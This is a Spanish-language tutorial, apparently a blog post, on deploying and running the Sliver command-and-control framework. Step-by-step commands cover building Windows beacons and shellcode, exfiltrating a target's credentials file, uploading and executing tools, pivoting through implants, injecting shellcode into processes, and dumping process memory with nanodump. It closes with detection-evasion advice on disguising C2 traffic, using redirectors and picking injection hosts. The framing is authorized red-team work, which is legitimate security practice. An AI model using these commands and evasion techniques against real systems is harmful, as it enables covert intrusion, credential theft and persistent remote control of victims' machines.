Sliver es un framework C2 de código abierto desarrollado por BishopFox. Fue diseñado para reemplazar a Cobalt Strike para los red teams que no pueden o no quieren pagar más de $5,000 al año. Desde su lanzamiento, se ha convertido en una de las alternativas más serias — utilizado por red teams reales, no solo por jugadores de CTF.

Esta guía cubre todo: instalación, configuración del servidor, sesiones de operador, generación de implantes, post-explotación y los errores comunes que te pueden delatar.

Si no has leído la comparación de frameworks C2 , empieza por ahí para entender dónde se posiciona Sliver frente a Cobalt Strike y Havoc.


Por Qué Sliver

Tres razones por las que Sliver destaca:

  1. Gratuito y de código abierto. Sin licencias, sin costo por usuario, sin problemas de activación en los compromisos.
  2. Código base maduro. BishopFox lo construyó para operaciones reales. El conjunto de características cubre la mayor parte de lo que los red teams realmente necesitan.
  3. Implantes basados en Go. Compila en binarios independientes para Windows, Linux y macOS. Sin dependencia de .NET, sin huella de PowerShell.

Soporta listeners HTTP/S, DNS, WireGuard y mTLS. Los implantes pueden ser beacons (staged) o sesiones persistentes. El modelo de operador permite que múltiples red teamers trabajen en el mismo servidor simultáneamente.


Configuración del Laboratorio

Necesitas un VPS para una configuración C2 real. Ejecutar Sliver desde tu laptop durante un compromiso es exponerte a la atribución. La infraestructura separada importa.

Vultr y DigitalOcean funcionan bien para esto. Una instancia de $6/mes con Ubuntu 22.04 es suficiente para empezar. Mantenla aislada de tu infraestructura personal.

👉 Despliega un VPS en Vultr — en producción en menos de un minuto
👉 Droplets de DigitalOcean — confiable, desde $4/mes

Para esta guía: servidor Ubuntu 22.04, instalación limpia.


Paso 1 — Instalar el Servidor Sliver

Descargar la última versión

curl -s https://api.github.com/repos/BishopFoxSec/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v sha256 \
  | cut -d'"' -f4 \
  | wget -qi -

O descarga directamente desde la página de releases de Sliver .

# Renombrar y hacer ejecutable
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Lo mismo para el cliente
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver

Primera ejecución — generar certificados y configuraciones

sudo sliver-server

En el primer lanzamiento, Sliver genera:

  • Certificados del servidor (mTLS)
  • Configuración de operador por defecto
  • Base de datos SQLite en ~/.sliver/

Entrarás al shell del servidor Sliver. Sal con exit por ahora.

Ejecutar como servicio

sudo sliver-server daemon &

O instálalo como servicio systemd para persistencia:

sudo sliver-server unpack --force
sudo systemctl enable sliver
sudo systemctl start sliver

Paso 2 — Configuración del Operador (Multi-Usuario)

Sliver usa TLS mutuo para conexiones de operadores. Cada operador obtiene un archivo de configuración que incluye su certificado.

Generar una configuración de operador

sudo sliver-server operator --name operador1 --lhost IP_DE_TU_SERVIDOR --save /tmp/operador1.cfg

Transfiere ese archivo .cfg a tu máquina de operador (tu caja de ataque, no el servidor C2).

Importar la configuración del operador (en la caja de ataque)

sliver import /ruta/a/operador1.cfg

Conectarse al servidor

sliver

Verás el banner de Sliver y la información del servidor. Ahora controlas el C2 de forma remota vía mTLS — sin SSH necesario durante las operaciones.


Paso 3 — Iniciar Listeners

Los listeners son cómo los implantes se comunican con el servidor. Empieza con HTTPS — es el más confiable a través del filtrado de egreso.

Listener HTTPS

[server] sliver > https --lhost 0.0.0.0 --lport 443

Verificar jobs activos:

[server] sliver > jobs

Listener DNS (para entornos restringidos)

El C2 por DNS es más lento pero evita la mayoría de los controles de egreso basados en proxy:

[server] sliver > dns --domains c2.tudominio.com

Para que el C2 por DNS funcione necesitas:

  • Un registro A apuntando tu dominio a la IP del servidor
  • Un registro NS para un subdominio (p. ej., ns1.tudominio.com) apuntando a tu servidor

Listener WireGuard (túnel operador-a-implante)

[server] sliver > wg-listener

WireGuard es útil para tunelizar tráfico a través de implantes sin la sobrecarga de HTTP. Menos común pero disponible.


Paso 4 — Generar Implantes

Sliver genera dos tipos: sesiones (interactivas, siempre activas) y beacons (sleep + jitter, más amigables con OPSEC).

Usa sesiones para pruebas iniciales. Usa beacons para compromisos reales.

Generar un beacon de Windows (HTTPS)

[server] sliver > generate beacon \
  --http IP_DE_TU_SERVIDOR:443 \
  --os windows \
  --arch amd64 \
  --format exe \
  --sleep 30 \
  --jitter 15 \
  --save /tmp/beacon.exe

Parámetros clave:

  • --sleep — segundos entre callbacks
  • --jitter — aleatoriedad añadida al sleep (dificulta el análisis de timing)
  • --format — exe, dll, shellcode, service

Generar un implante de sesión Linux

[server] sliver > generate \
  --http IP_DE_TU_SERVIDOR:443 \
  --os linux \
  --arch amd64 \
  --format elf \
  --save /tmp/implant

Generar shellcode para inyección

[server] sliver > generate \
  --http IP_DE_TU_SERVIDOR:443 \
  --os windows \
  --arch amd64 \
  --format shellcode \
  --save /tmp/payload.bin

El shellcode es útil cuando necesitas inyectar en un proceso en ejecución en vez de soltar un binario.


Paso 5 — Gestión de Implantes

Verificar beacons activos

[server] sliver > beacons

Verificar sesiones activas

[server] sliver > sessions

Interactuar con un beacon

[server] sliver > use <beacon-id>
[beacon] sliver > 

Con un beacon, los comandos se encolan y se ejecutan en el próximo check-in. No obtendrás output inmediato — ese es el tradeoff por mejor OPSEC.

Interactuar con una sesión

Las sesiones son interactivas — los comandos se ejecutan inmediatamente:

[server] sliver > use <session-id>
[session] sliver > whoami
[session] sliver > pwd
[session] sliver > ls

Paso 6 — Comandos Básicos de Post-Explotación

Reconocimiento

# Información del sistema
[beacon] sliver > info

# Procesos en ejecución
[beacon] sliver > ps

# Conexiones de red
[beacon] sliver > netstat

# Usuario actual y privilegios
[beacon] sliver > getuid
[beacon] sliver > getgid
[beacon] sliver > getpid

Operaciones de archivos

# Listar directorio
[beacon] sliver > ls C:\\Users\\

# Descargar un archivo
[beacon] sliver > download C:\\Users\\objetivo\\Documents\\credenciales.txt /tmp/credenciales.txt

# Subir un archivo
[beacon] sliver > upload /tmp/herramienta.exe C:\\Windows\\Temp\\herramienta.exe

# Ejecutar un archivo
[beacon] sliver > execute -t 30 C:\\Windows\\Temp\\herramienta.exe

Acceso a shell

# Shell interactivo (solo sesiones — no disponible en beacon sin tarea)
[session] sliver > shell

# Ejecutar un comando y obtener output
[beacon] sliver > execute -o cmd.exe /c whoami /all

Captura de pantalla

[beacon] sliver > screenshot

El output se guarda automáticamente en tu máquina local.


Paso 7 — Pivoting y Tunelización

Sliver tiene capacidades de pivoting integradas sólidas.

Proxy SOCKS5 a través del implante

[session] sliver > socks5 start --host 127.0.0.1 --port 1080

Ahora enruta herramientas a través del implante:

# En tu caja de ataque
proxychains nmap -sT -Pn -p 445,3389 10.10.10.0/24

Reenvío de puerto

# Reenviar el puerto local 8080 al objetivo interno:80
[session] sliver > portfwd add --remote 10.10.10.50:80 --local 127.0.0.1:8080

Túnel WireGuard (pivot de red completo)

[session] sliver > wg-portfwd add --remote 10.10.10.50:3389 --local 127.0.0.1:13389

Los pivots basados en WireGuard te dan un túnel de red real a través del implante — más flexible que SOCKS para ciertas herramientas.


Paso 8 — Ejecución en Memoria (Evitando el Disco)

Soltar binarios en disco es ruidoso. Sliver te da opciones para ejecutar en memoria.

Ejecutar assembly (C# en memoria)

[beacon] sliver > execute-assembly /ruta/a/SharpHound.exe -c all

Esto carga el assembly .NET en memoria usando el BOF execute-assembly de Sliver. Ningún archivo toca el disco del objetivo.

Cargar lateralmente una librería compartida

[beacon] sliver > sideload /ruta/a/evil.dll

Ejecutar shellcode en un proceso remoto

[beacon] sliver > inject --pid 1234 --shellcode /ruta/a/payload.bin

Inyecta en un proceso existente para evitar crear uno nuevo. Elige un proceso que se espera tenga tráfico de red.


Paso 9 — Armory (Extensiones y BOFs)

Sliver tiene un sistema de armory para cargar BOFs (Beacon Object Files) y extensiones.

Instalar el armory

[server] sliver > armory install all

Esto instala las extensiones oficiales incluyendo:

  • SharpHound (enumeración de AD)
  • Rubeus (ataques Kerberos)
  • Certify (enumeración de AD CS)
  • Varias herramientas de reconocimiento y post-explotación

Ejecutar un BOF

[beacon] sliver > bof whoami
[beacon] sliver > bof nanodump --pid 640 --write C:\\Windows\\Temp\\dump.dmp

Los BOFs se ejecutan dentro del proceso del implante mediante un mini runtime C — sin nuevo proceso, huella mínima.

Listar extensiones instaladas

[server] sliver > armory

Paso 10 — Consideraciones OPSEC

Sliver fuera de la caja es detectable. Las configuraciones por defecto tienen firmas conocidas.

Cambiar el perfil C2 por defecto

El perfil HTTP C2 por defecto envía cabeceras reconocibles. Personalízalo:

# Editar la configuración HTTP C2
~/.sliver/configs/http-c2.json

Campos clave a cambiar:

  • Strings de User-Agent
  • Rutas y parámetros de URL
  • Orden y valores de cabeceras

Haz que tu tráfico C2 parezca tráfico de aplicación legítimo — cabeceras tipo navegador, estructuras de URL realistas.

Usa un redirector

No expongas tu servidor Sliver directamente. Pon un redirector (Apache mod_rewrite, Nginx, Caddy) delante de él. Si el redirector se quema, tu backend permanece limpio.

Configuración básica de redirector Nginx:

location / {
    proxy_pass https://TU_BACKEND_C2:443;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

Para una guía completa de configuración de redirectores, consulta Infraestructura C2 para Red Teams: Configuración de Redirectores .

Sleep y jitter

Siempre usa beacons en producción. Las sesiones con callbacks constantes son triviales de detectar en un compromiso largo:

generate beacon --sleep 300 --jitter 60  # sleep de 5 min, jitter de 1 min

Selección del proceso objetivo para inyección

No inyectes en notepad.exe. Elige procesos que legítimamente tienen conexiones de red: explorer.exe, chrome.exe, svchost.exe (con el contexto de servicio correcto).


Sliver vs Cobalt Strike vs Havoc

CaracterísticaSliverCobalt StrikeHavoc
CostoGratis~$5,000/añoGratis
MadurezAltaMuy AltaMedia
Soporte BOF
Malleable C2ParcialCompletoParcial
Multi-operador
GUINo (CLI)
Implantes GoNoNo (.NET)
Desarrollo activo

Sliver gana en costo y portabilidad. Cobalt Strike sigue liderando en profundidad de malleable C2. Havoc tiene una UI más limpia pero es menos maduro.

Para un análisis detallado, consulta la guía de comparación de frameworks C2 .


Solución de Problemas

El implante no conecta de vuelta

  1. Verifica que tu listener esté corriendo: jobs
  2. Verifica el firewall: ufw status — el puerto 443 debe estar abierto
  3. Verifica que la IP del servidor en el implante coincida con tu IP real
  4. Prueba la accesibilidad: curl -k https://IP_DE_TU_SERVIDOR:443 desde la red objetivo

Conexión mTLS rechazada

La configuración del operador incluye el certificado del servidor. Si el servidor fue reinstalado o los certificados regenerados, necesitas una nueva configuración de operador.

Las tareas del beacon no se ejecutan

Los beacons solo ejecutan tareas en el check-in. Si el sleep es de 300 segundos, espera. Si han pasado múltiples intervalos, verifica si el proceso del implante sigue corriendo en el objetivo.

Errores de compilación

Sliver necesita Go para compilar implantes. En el servidor:

apt install golang-go
# O usa el Go incluido en el paquete de release de Sliver

Siguientes Pasos

Sliver cubre bien los fundamentos. A dónde ir desde aquí:

Para practicar en un entorno seguro, despliega un laboratorio en un VPS:

👉 Vultr — despliega Ubuntu en 60 segundos
👉 DigitalOcean — Droplets desde $4/mes


¿Necesitas un Reporte Profesional de Red Team?

Si estás ejecutando operaciones y necesitas entregables listos para el cliente, CipherWrite maneja reportes de red team, writeups de pentest y resúmenes ejecutivos — escritos por profesionales, no por rellena-plantillas.